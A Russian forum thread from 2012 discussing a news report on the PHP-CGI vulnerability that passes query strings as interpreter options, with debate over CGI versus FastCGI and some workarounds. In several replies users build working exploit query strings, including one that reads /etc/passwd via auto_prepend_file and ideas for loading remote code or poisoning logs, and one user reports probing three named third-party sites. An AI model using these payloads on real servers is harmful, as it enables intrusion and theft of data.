The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

форумы  помощь  поиск  регистрация  майллист  вход/выход  слежка  RSS
"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Изначальное сообщение [ Отслеживать ]

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от opennews (??) on 03-Май-12, 22:37 
Компьютерная группа реагирования на чрезвычайные ситуации (CERT)  опубликовала (http://www.kb.cert.org/vuls/id/520827) уведомление об утечке информации о критической уязвимости в PHP, которая позволяет запустить произвольный код на сервере или просмотреть исходный код любого PHP-скрипта, выполняемого в CGI-режиме. Cкрипты, выполняемые с использованием mod_php и FastCGI, не подвержены проблеме.


Опасность уязвимости усугубляет тот факт, что несмотря на то, что разработчики PHP были уведомлены о проблеме ещё 17 января, а 23 февраля был отправлен дополнительный запрос от имени CERT, уязвимость остаётся неисправленной. Проблема вызвана ошибкой, допущенной в 2004 году. Интересно также то, что утечка информации возникла (http://www.reddit.com/r/PHP/comments/t3pr8/how_serious_is_this/) из-за оплошности разработчиков PHP, поместивших (http://ompldr.org/vZGxxaQ) информацию о проблеме в публичный трекер ошибок, до момента выхода исправления с устранением уязвимости.


Эксплуатация проблемы тривиальна (http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/) - достаточно передать опцию командной строки, поддерживаемую интерпретатором, в качестве аргумента при выполнении запроса. Например, для показа исходного кода текущего скрипта достаточно указать "http://localhost/index.php?-s". Также можно поступить и с другими опциями и проявив немного эрудиции организовать выполнение кода на сервере. Всем пользователям PHP, использующим скрипты в режиме CGI, следует незамедлительно установить патч (https://bugs.php.net/patch-add.php?bug_id=61910).

URL: http://www.kb.cert.org/vuls/id/520827
Новость: http://www.opennet.ru/opennews/art.shtml?num=33765

Ответить | Правка | Cообщить модератору

Оглавление

Сообщения по теме [Сортировка по времени | RSS]


1. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  –4 +/–
Сообщение от Аноним (??) on 03-Май-12, 22:37 
PHP???
Nobody cares
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

49. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +9 +/–
Сообщение от lf (??) on 04-Май-12, 11:33 
кто-то юзает php в cgi режиме??????????????????
Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

88. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  –2 +/–
Сообщение от Аноним (??) on 05-Май-12, 16:24 
Некрофилы и извращенцы. Ну наконец то им прилетят серебряные пули :)
Ответить | Правка | ^ к родителю #49 | Наверх | Cообщить модератору

104. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +1 +/–
Сообщение от Georges (ok) on 08-Май-12, 10:36 
Некоторые хостеры, которые орут что у них есть PHP 5.2 5.3 и 5.4
Ответить | Правка | ^ к родителю #49 | Наверх | Cообщить модератору

2. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +8 +/–
Сообщение от Аноним (??) on 03-Май-12, 22:42 
PHP: a fractal of bad design.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

3. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Аноним (??) on 03-Май-12, 22:45 
> выполняемого в CGI-режиме.

Так и надо всяким некроманам-извращенцам ;]

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

4. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +20 +/–
Сообщение от Аноним (??) on 03-Май-12, 22:53 
Хм. А я думал, что это штатная фича.
Теперь понятно, почему в документации ее хрен найдешь.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

10. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Xasd (ok) on 04-Май-12, 00:15 
тож думал что это фишка...:)

...както странно слышать это среди багов... xD .. хотя уже и не странно xD .. видимо чтобы эта фигня проявила себя -- php-cgi нужно вызывать напрямую из Apache а не через shell wrapper

Ответить | Правка | ^ к родителю #4 | Наверх | Cообщить модератору

5. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +2 +/–
Сообщение от Аноним (??) on 03-Май-12, 23:35 
Ожидаемо.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

6. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от codejumper on 03-Май-12, 23:47 
жуть
какое счастье, что у меня fcgi
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

7. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от jedie on 03-Май-12, 23:55 
У кого то еще CGI?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

8. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Аноним (??) on 04-Май-12, 00:08 
На самом деле судя по всему и PHP-скрипты под FastCGI тоже уязвимы, только эксплуатировать можно если попасть в первый запрос при запуске нового FastCGI-процесса. Но здесь всё очень сильно зависит от конфигурации и способа запуска PHP под FastCGI.
Ответить | Правка | ^ к родителю #7 | Наверх | Cообщить модератору

9. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Аноним (??) on 04-Май-12, 00:13 
> На самом деле судя по всему и PHP-скрипты под FastCGI тоже уязвимы,
> только эксплуатировать можно если попасть в первый запрос при запуске нового
> FastCGI-процесса. Но здесь всё очень сильно зависит от конфигурации и способа
> запуска PHP под FastCGI.

Например, в дефолтовом примере к spawn-fcgi вызывается php5-cgi и теоретически должно сработать.

Ответить | Правка | ^ к родителю #8 | Наверх | Cообщить модератору

25. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Аноним (??) on 04-Май-12, 02:04 
> Например, в дефолтовом примере к spawn-fcgi вызывается php5-cgi и теоретически должно сработать.

А что, пыху там через командлайн параметры запроса передаются? В cgi оно вот так вот, ибо дебильный древний и тормозной протокол с форком обработчика на каждый реквест и передачей ему параметров через командлайн + редиректом вывода. Что делает этот идиотизм крайне паршивым с точки зрения нагрузки и безопасности: кто угодно может вам провоцировать довольно тяжелый форк процесса оптом извне, что уже хорошая заявка на победу.

А у фаста ж постоянно висяшие процессы + свой протокол для передачи параметров. Не догоняю как сие должно в нем срабатывать?

Ответить | Правка | ^ к родителю #9 | Наверх | Cообщить модератору

36. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Аноним (??) on 04-Май-12, 09:16 
Почитайте на досуге как работает CGI, командная строка там вообще не причём. FastCGI отличается от CGI только дополнительным циклом обработки запросов, чтобы каждый раз заново процесс не запускать, в остальном всё идентично.
Ответить | Правка | ^ к родителю #25 | Наверх | Cообщить модератору

44. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +1 +/–
Сообщение от samm email(ok) on 04-Май-12, 11:14 
Вы не правы. Почитайте сами спецификации на CGI и FCGI, это разные протоколы.
Ответить | Правка | ^ к родителю #36 | Наверх | Cообщить модератору

56. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +1 +/–
Сообщение от Аноним (??) on 04-Май-12, 12:14 
И и там и там запускаемое приложение, в нашем случае интерпретатор php со скриптом, получает аргументы через стандартный ввод и переменные окружения. В логике работы разница только в цикле. То что отличаются методы доставки запроса (стандартный ввод/вывод vs UNIX или TCP сокет) большой роли в рассматриваемой ситуации не играет, на уровне приложения вся обработка параметров запроса идентична.
Ответить | Правка | ^ к родителю #44 | Наверх | Cообщить модератору

94. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  –1 +/–
Сообщение от Аноним (??) on 05-Май-12, 16:51 
> рассматриваемой ситуации не играет, на уровне приложения вся обработка параметров запроса
> идентична.

Прикольно гнать пургу с умным видом? А если ман все-таки почитать, там таки написано что это совершенно разные протоколы.

В частности, для особо упорных дятлов я замечу что fastcgi-сервер взлетает без каких либо сакральных знаний о запросах и лишь вывешивает сокет - для взаимодействия по собственному протоколу с фронтэндом. И все. А все запросы рюхаются через тот протокол и сокет уже. Ну то-есть обычный такой постоянно живущий бэкэнд не перезапускаемый на каждый запрос. По поводу чего он и fast, собственно.

Да, для кулхаксоров собравшихся это ломать - http://www.fastcgi.com/devkit/doc/fcgi-spec.html

Таки объясните мне как выглядит хак, при том что бэкэнд фаста запускается и ждет коннекций от фронтэнда? Спиди-гонщики :)

Ответить | Правка | ^ к родителю #56 | Наверх | Cообщить модератору

98. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Аноним (??) on 05-Май-12, 23:23 
> Прикольно гнать пургу с умным видом? А если ман все-таки почитать, там таки написано что это совершенно разные протоколы.

При чем здесь протокол доставки, когда речь про обработку запроса на стороне приложения  ? HTTP и HTTPS тоже разные протоколы.

> А все запросы рюхаются через тот протокол и сокет уже.

Для приложения обработка таких запросов абсолютно идентична, что при CGI, что при FastCGI. Не важно что под капотом, для приложения обработка будет одинакова, весь перевод приложения от CGI к FastCGI сводится к добавлению цикла и подключению FCGI-библиотеки.

Ответить | Правка | ^ к родителю #94 | Наверх | Cообщить модератору

89. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Аноним (??) on 05-Май-12, 16:26 
> Почитайте на досуге как работает CGI, командная строка там вообще не причём.
> FastCGI отличается от CGI только дополнительным циклом обработки запросов,

Вообще-то я читал спеки на оба и fast как-то совсем-совсем другой протокол.

> чтобы каждый раз заново процесс не запускать, в остальном всё идентично.

... кроме того что нет собственно запуска и передачи параметров, все делается через свой протокол обмена. Ну а раз нет запуска - то как вы, черт возьми, проэксплуатируете запуск?! :)

Ответить | Правка | ^ к родителю #36 | Наверх | Cообщить модератору

100. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Аноним (??) on 05-Май-12, 23:45 
Это я ступил, думал что ошибка в PHP сводится к тому, что он параметры в STDIN парсит как параметры командной строки. Оказалось, действительно, СGI когда в запросе нет "=" передаёт параметры через командную строку:


4.4.  The Script Command Line

   Some systems support a method for supplying an array of strings to
   the CGI script.  This is only used in the case of an 'indexed' HTTP
   query, which is identified by a 'GET' or 'HEAD' request with a URI
   query string that does not contain any unencoded "=" characters.  For
   such a request, the server SHOULD treat the query-string as a
   search-string and parse it into words, using the rules

      search-string = search-word *( "+" search-word )
      search-word   = 1*schar
      schar         = unreserved | escaped | xreserved
      xreserved     = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "," |
                      "$"

   After parsing, each search-word is URL-decoded, optionally encoded in
   a system-defined manner and then added to the command line argument
   list.

   If the server cannot create any part of the argument list, then the
   server MUST NOT generate any command line information.  For example,
   the number of arguments may be greater than operating system or
   server limits, or one of the words may not be representable as an
   argument.

   The script SHOULD check to see if the QUERY_STRING value contains an
   unencoded "=" character, and SHOULD NOT use the command line
   arguments if it does.

Ответить | Правка | ^ к родителю #89 | Наверх | Cообщить модератору

52. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +1 +/–
Сообщение от Аноним (??) on 04-Май-12, 11:41 
> протокол с форком обработчика на каждый реквест и передачей ему параметров через командлайн

Не командлайн, а STDIN.

Ответить | Правка | ^ к родителю #25 | Наверх | Cообщить модератору

67. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от terr0rist (ok) on 04-Май-12, 23:04 
> дебильный древний и тормозной протокол

да для вас наверно всё старое - дебильное и тормозное. А для кого-то это этап в развитии.
Тем более CGI позволяет делать кое-что, чего другие не могут в принципе. Дебилизм - это применять ко всем мерку "если это велосипед, то он по умолчанию хуже моего лексуса". Даже если велик и "тормознее".
(Не говоря уже о том, что на современных серваках с современными скриптами все эти форки и передача аргументов занимают 0.0001% процессорного времени)

Ответить | Правка | ^ к родителю #25 | Наверх | Cообщить модератору

90. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +1 +/–
Сообщение от Аноним (??) on 05-Май-12, 16:29 
>> дебильный древний и тормозной протокол
> да для вас наверно всё старое - дебильное и тормозное.

Все познается в сравнении. Но некоторые дизайны просто галимы на уровне идеи. Столь же безблагодатная идея как форки процессов в апаче.

> Тем более CGI позволяет делать кое-что, чего другие не могут в принципе.

Например? Очень интересно :)

> все эти форки и передача аргументов занимают 0.0001% процессорного времени)

Ага. Пока не придет Вася Пупкин и не пустит туда ab2 какой-нибудь. Порсле чего Васин нетбук на раз укладывает многопроцессорный ксеон. Потому что ему только конекцию сделать, а серваку - отдуваться по полной: форкануть процесс, обработать запрос, ... :)

Ответить | Правка | ^ к родителю #67 | Наверх | Cообщить модератору

101. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от angra (ok) on 06-Май-12, 10:04 
>> Тем более CGI позволяет делать кое-что, чего другие не могут в принципе.
> Например? Очень интересно :)

Ну не то чтобы принципиально невозможно, но некоторые вещи действительно удобней через cgi, чем через fcgi. Например когда cgi скриптов(или вообще бинарников) много, но каждый из них запускается редко, а значит держать его в памяти в виде постоянного fcgi процесса особого смысла не имеет. Особенно хорошо, когда все эти скрипты недоступны без http авторизации.

>> все эти форки и передача аргументов занимают 0.0001% процессорного времени)
>Ага. Пока не придет Вася Пупкин и не пустит туда ab2 какой-нибудь. Порсле чего Васин нетбук на раз укладывает многопроцессорный ксеон. Потому что ему только конекцию сделать, а серваку - отдуваться по полной: форкануть процесс, обработать запрос, ... :)

Если сравнить это с оверхедом https, то не так уж много получится. Может и от https отказаться? Ну и неплохо было бы понимать, что с точки зрения конечного пользователя абсолютно фиолетово почему не открывается страничка - из-за перегрузки сервера запусками интерпретаторов(а ведь cgi может быть и шустрым бинарником) или из-за превышения лимитов на соединения и/или количество fcgi процессов.

Ответить | Правка | ^ к родителю #90 | Наверх | Cообщить модератору

102. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от arisu (ok) on 06-Май-12, 15:47 
> Может и от https отказаться?

очень разумная идея.

Ответить | Правка | ^ к родителю #101 | Наверх | Cообщить модератору

106. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Аноним (??) on 10-Май-12, 08:35 
>>> Тем более CGI позволяет делать кое-что, чего другие не могут в принципе.
>> Например? Очень интересно :)
> Ну не то чтобы принципиально невозможно, но некоторые вещи действительно удобней через
> cgi, чем через fcgi. Например когда cgi скриптов(или вообще бинарников) много,
> но каждый из них запускается редко, а значит держать его в
> памяти в виде постоянного fcgi процесса особого смысла не имеет. Особенно
> хорошо, когда все эти скрипты недоступны без http авторизации.

тут особой проблемы нет, можно поставить минимальное кол-во fcgi-процессов в 0 и таймаут жизни fcgi-процесса, скажем в 5-ть минут. если за пять минут обращений не было, то процесс умрет освободив память. минус только один: настройки fcgi сложнее, чем cgi, писать ручками много больше.

Ответить | Правка | ^ к родителю #101 | Наверх | Cообщить модератору

46. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от FSA (ok) on 04-Май-12, 11:19 
hc.ru - хостинг-центр РБК
Ответить | Правка | ^ к родителю #7 | Наверх | Cообщить модератору

11. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +4 +/–
Сообщение от XoRe (ok) on 04-Май-12, 00:17 
Очень многие российские хостинги (включая самые крупные) запускают php именно в режиме cgi.
Патч применят не все и не сразу.
Имхо, это кандидат на звание самой эпичной уязвимости php за всю историю интерпретатора.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

20. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  –7 +/–
Сообщение от Аноним (??) on 04-Май-12, 01:19 
> Очень многие российские хостинги (включая самые крупные) запускают php именно в режиме cgi.
> Патч применят не все и не сразу.

Если именно CGI и даже не фаст - так и надо этим дебилам. Естественный отбор. Чем раньше даунов вынесет с рынка - тем лучше.

Ответить | Правка | ^ к родителю #11 | Наверх | Cообщить модератору

37. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +2 +/–
Сообщение от Аноним (??) on 04-Май-12, 09:20 
Для PHP нет другого пути разделения привилегий, если использовать mod_php, то все скрипты будут работать под одним пользователем. Хаки вида openbasedir мало помогают, регулярно всплывают новые методы их обхода. FastCGI в условиях shared хостинга неприменим из-за больших накладных расходов (для каждого пользователя с активным сайтом в памяти нужно держать как минимум один процесс).
Ответить | Правка | ^ к родителю #20 | Наверх | Cообщить модератору

50. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от FSA (ok) on 04-Май-12, 11:35 
У Valuehost с этим проблем нет. Когда-то давно на форуме webhostingtalk.ru видел обсуждение по поводу реализации работы от разных пользователей. Там принимал участие один из самых активных администраторов в то время Valuehost. Он описал принцип работы хостинга, хотя реальных примеров не приводил. В принципе у меня получилось на локальной машине, но не работали некоторые вещи (например, загрузка файлов на сервер). И не работали они и там скорее всего до патчей. Вот только содержимое патчей так и не появилось на форуме. Было только известно, что патчи не затрагивают операционную систему (у них FreeBSD).
Ответить | Правка | ^ к родителю #37 | Наверх | Cообщить модератору

51. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +1 +/–
Сообщение от FSA (ok) on 04-Май-12, 11:38 
Ох! Проситите! Столько запятых пропустил в тексте :(
Ответить | Правка | ^ к родителю #50 | Наверх | Cообщить модератору

53. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +2 +/–
Сообщение от Аноним (??) on 04-Май-12, 11:45 
Ой,  только Valuehost не вспоминайте, там был грязный хак с постоянной работой всех дочерних процессов apache под root-ом и сменой пользователя при обработке каждого запроса. Такой метод не намного лучше cgi, только вместо запуска внешнего процесса форкается дочерняя копия httpd.
Ответить | Правка | ^ к родителю #50 | Наверх | Cообщить модератору

64. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +1 +/–
Сообщение от Andrew Kolchoogin on 04-Май-12, 15:03 
php-fpm поможет отцу русской демократии. Объявите столько пулов, сколько у вас пользователей, и запускайте каждый пул от своего аккаунта.
Ответить | Правка | ^ к родителю #37 | Наверх | Cообщить модератору

71. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Аноним (??) on 05-Май-12, 03:11 
>FastCGI в условиях shared хостинга
> неприменим из-за больших накладных расходов (для каждого пользователя с активным сайтом
> в памяти нужно держать как минимум один процесс).

Расходы есть по памяти (среднее кол-во памяти на php-cgi-процесс: 15М, при 1000 пользователях, DefaultMinClassProcessCount 0 (mod_fcgid) и DefaultMaxClassProcessCount 10, среднее кол-во одновременно запущенных php-cgi - не превышает 700, т.е. ~10ГБ оперативки, сейчас в таком режиме у меня работает 14 серверов, при этом глобально подключено совсем не много модулей, каждый юзер сам включает то, что ему нужно в своем собственном php.ini, такая занимательная статистика), но есть и сокращение расходов по ЦПУ.

Ответить | Правка | ^ к родителю #37 | Наверх | Cообщить модератору

84. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от erera22 (ok) on 05-Май-12, 15:21 
mod_ruid же
Ответить | Правка | ^ к родителю #37 | Наверх | Cообщить модератору

68. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +3 +/–
Сообщение от terr0rist (ok) on 04-Май-12, 23:15 
>> Очень многие российские хостинги (включая самые крупные) запускают php именно в режиме cgi.

и правильно делают, кстати :) точно так же запускают и перл и питон и sh и всё остальное, если оно есть.

> Если именно CGI и даже не фаст - так и надо этим
> дебилам. Естественный отбор. Чем раньше даунов вынесет с рынка - тем
> лучше.

Да что вы пристали к CGI? Вам не нравится "форк процесса и передача параметров через STDIN"? Вы тесты проводили, как это работает? Проводили ли вы эти тесты на чём-то более современном, чем пентиум-166ММХ с 16 МБ RAM? И на чём-то типа жумлы или друпала, которые жрут сами столько ЦПУ, что ваши 0.1мс на форк не повлияют на нагрузку никак? И не забывайте ещё, что только в CGI можно запустить пых с апачем в мультитреде, а иначе (когда пых - модуль апача) будет точно такой же форк процессов, только не одного пыха, а всего апача со всеми модулями (обычно раз в 50-100 запросов). Плюс утечки памяти. Так лучше?

А если это убожество РНР имеет такие баги, то причём здесь CGI? Если жирный уродливый тролль не умеет ездить на велике, это не проблема велика.
Очень надеюсь, что процесс умирания РНР (в текущем виде) после этого бага ускорится. Хотя не в текущем виде это уже будет не РНР. Да и зачем?..

Ответить | Правка | ^ к родителю #20 | Наверх | Cообщить модератору

103. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Аноним (??) on 07-Май-12, 18:13 
> Очень надеюсь, что процесс умирания РНР (в текущем виде) после этого бага ускорится.

Не ускориться, потому что всегда будет дофига тех, кто не осилил нормальные языки и платформы. И всегда будет куча заказчиков-жлобов, которые будут нанимать ниосиляторов за копейки, чтобы, как они думают, увеличить свою прибыль.

Ответить | Правка | ^ к родителю #68 | Наверх | Cообщить модератору

22. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от jedie on 04-Май-12, 01:33 
Можно проблему эту решить через mod rewrite ну или другие rewriteры.
Ответить | Правка | ^ к родителю #11 | Наверх | Cообщить модератору

70. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  –1 +/–
Сообщение от arisu (ok) on 05-Май-12, 00:36 
или при помощи полного удаления php, это всяко надёжней.
Ответить | Правка | ^ к родителю #22 | Наверх | Cообщить модератору

92. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Аноним (??) on 05-Май-12, 16:37 
> или при помощи полного удаления php, это всяко надёжней.

Если пойти чуть дальше, можно не подключать сеть. Тогда хакеру придется притащиться к серверу лично, что существенно усложняет взлом. Алсо, можно установить пустой корпус от сервера. Тогда хакер вообще обломается. Вот прищел ты хакать сервер, а там мамки нет! Абыдна, да? :)

Ответить | Правка | ^ к родителю #70 | Наверх | Cообщить модератору

97. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от arisu (ok) on 05-Май-12, 21:14 
качество кода php достаточно общеизвестно. использовать ЭТО можно или от нечего делать, когда на результат плевать, или за очень большие деньги (если заказчик не знает адреса, а то может и наведаться потом), или от очень большой глупости.

p.s. не «кода на php», а «кода самого php», буде кто не понял.

Ответить | Правка | ^ к родителю #92 | Наверх | Cообщить модератору

57. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +2 +/–
Сообщение от solardiz (ok) on 04-Май-12, 12:30 
Это было бы так, но уязвимости подвержены далеко не все хостинги с PHP как CGI (может быть, подвержено меньшинство из них). Например, применяется вариант с патчем в suEXEC, где интерпретатору PHP через командную строку передается только имя скрипта (до этого проверенное stat()'ом и не только). Shell-wrapper при этом не нужен (и не используется).

char *new_argv[] = { php_bin_path, cmd, NULL };
execv(php_bin_path, new_argv);

Вариант с shell-wrapper'ом же всегда следовало считать очень опасным. (Я был удивлен, когда увидел его, кажется, на DreamHost wiki пару лет назад. Это скорее исключение, чем правило.) Он был почти аналогичен размещению самого интерпретатора PHP в cgi-bin, т.е. вся безопасность сводилась к hardening'у PHP на тему такого misuse'а. Это, конечно, не снимает ответственности с разработчиков PHP, которые этот hardening убрали по забывчивости, при этом не поправив информацию на http://www.php.net/manual/en/security.cgi-bin.attacks.php - но полагаться на это было наивно с самого начала (т.е. с 1990-х, когда тема интерпретаторов в cgi-bin была поднята исходно). Также, они зря не называли эти вещи своими именами - hardening и misuse - пытаясь вместо этого документировать будто бы конкретно с PHP, в отличие от других интерпретаторов, так поступать можно.

Ответить | Правка | ^ к родителю #11 | Наверх | Cообщить модератору

12. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Аноним (??) on 04-Май-12, 00:22 
http://allvanyzatok.hu/phpinfo.php, обратите внимание на Server API: CGI. Не удалось получить исходник.
http://360commercialre.com/phpinfo.php, тоже. Вот с версией постарше -http://31minutos.inet.cl/phpinfo.php - тоже
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

23. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +2 +/–
Сообщение от Аноним (??) on 04-Май-12, 01:40 
во враппере:
exec /usr/bin/php-cgi -- "$@"
или вообще без параметров
Ответить | Правка | ^ к родителю #12 | Наверх | Cообщить модератору

35. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Etch on 04-Май-12, 08:40 
Спасибо, работает воркэрраунд:
#!/bin/dash
exec /usr/lib/cgi-bin/php5 -- "$@"

Просто нет смысла держать на ВПС постоянно в памяти mod_php ради одного сайта с посещаемостью 5 чел. в сутки.

Ответить | Правка | ^ к родителю #23 | Наверх | Cообщить модератору

95. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Аноним (??) on 05-Май-12, 17:23 
> Просто нет смысла держать на ВПС постоянно в памяти mod_php ради одного
> сайта с посещаемостью 5 чел. в сутки.

Вы все-равно не сможете безнаказанно занять эту память - под угрозой облома выполнения скрипта. Памяти или хватает суммарно на всех, или нет. Хуже всего когда ее изредка не хватает в сильно некоторых ситуациях, такая грабля может очень сильно съесть мозг.

Ответить | Правка | ^ к родителю #35 | Наверх | Cообщить модератору

29. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Diden05 (ok) on 04-Май-12, 03:47 
Из скрипта никак не узнаешь как запущен PHP, как FCGI или просто CGI. Поэтому в phpinfo и будет написано cgi.
Ответить | Правка | ^ к родителю #12 | Наверх | Cообщить модератору

13. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Xasd (ok) on 04-Май-12, 00:38 
кроме ?-s чтонибудь "полезное" получилось выполнить? :)

...ато например ?--run%3Dphpinfo()%3B чтото не получается... гдето ошибся, но не пойму где %) %)

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

14. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от LostAlly email on 04-Май-12, 00:44 
%22%3B может закрываться так должно? А не наоборот?
Ответить | Правка | ^ к родителю #13 | Наверх | Cообщить модератору

16. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Xasd (ok) on 04-Май-12, 00:53 
> %22%3B может закрываться так должно? А не наоборот?

понял в чём дело... нет такого параметра в php-cgi ... там только:


$ php-cgi --help
Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
       php <file> [args...]
  -a               Run interactively
  -b <address:port>|<port> Bind Path for external FASTCGI Server mode
  -C               Do not chdir to the script's directory
  -c <path>|<file> Look for php.ini file in this directory
  -n               No php.ini file will be used
  -d foo[=bar]     Define INI entry foo with value 'bar'
  -e               Generate extended information for debugger/profiler
  -f <file>        Parse <file>.  Implies `-q'
  -h               This help
  -i               PHP information
  -l               Syntax check only (lint)
  -m               Show compiled in modules
  -q               Quiet-mode.  Suppress HTTP Header output.
  -s               Display colour syntax highlighted source.
  -v               Version number
  -w               Display source with stripped comments and whitespace.
  -z <file>        Load Zend extension <file>.
  -T <count>       Measure execution time of script repeated <count> times.

Ответить | Правка | ^ к родителю #14 | Наверх | Cообщить модератору

17. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  –1 +/–
Сообщение от Xasd (ok) on 04-Май-12, 00:54 
или всётаки я НЕ понял... ведь ?--syntax-highlight тоже работает
Ответить | Правка | ^ к родителю #16 | Наверх | Cообщить модератору

18. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Xasd (ok) on 04-Май-12, 01:08 
> кроме ?-s чтонибудь "полезное" получилось выполнить? :)

кстате говоря напоминаю, что чтбы передать ДВА параметра, их нужно разделить знаком +

например:
?-d+foo%3Dbar

(здесь ``%3D`` вместо ``=`` , так как ``=`` запрещено к использованию)

Ответить | Правка | ^ к родителю #13 | Наверх | Cообщить модератору

21. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Xasd (ok) on 04-Май-12, 01:22 
вот успешно получившийся пример:

?-d+memory_limit%3D20M

этот параметр уменьшает лимит выделенной памяти ДО 20M (если уменьшить или увеличть этот параметр то мы можем увидить или не увидить страничку)

больше покатчо ничо не вышло.... :-( :-( :-(

а интересено былобы чтобы например както моглобы сработать:
   auto_prepend_file
        с параметром
   http://ompldr.org/vZG0yNQ

Ответить | Правка | ^ к родителю #18 | Наверх | Cообщить модератору

24. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Аноним (??) on 04-Май-12, 01:55 
дык, allow_url_include и в добрый путь
Ответить | Правка | ^ к родителю #21 | Наверх | Cообщить модератору

26. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Xasd (ok) on 04-Май-12, 02:13 
> дык, allow_url_include и в добрый путь

почемуто не выходет даже с ней... :-( :-( :-(

..единственное что удачно вышло с auto_prepend_file -- это прочитать список пользователей (/etc/passwd)

вот так

?-d+default_mimetype%3Dtext/plain+-d+auto_prepend_file%3D/etc/passwd

Ответить | Правка | ^ к родителю #24 | Наверх | Cообщить модератору

27. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Xasd (ok) on 04-Май-12, 02:17 
а может быть можно както создать типа ERROR LOG какойнить?? и внутри этого файла, созать нужную последовательность <?php ... ?> , а затем её локально подключить через auto_prepend_file ???

что думаете, товарищи?

Ответить | Правка | ^ к родителю #26 | Наверх | Cообщить модератору

28. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Xasd (ok) on 04-Май-12, 02:54 
покачто не вижу пути подставить внутрь "error.log.php" хоть какуюто "полезную" инфинормарцию

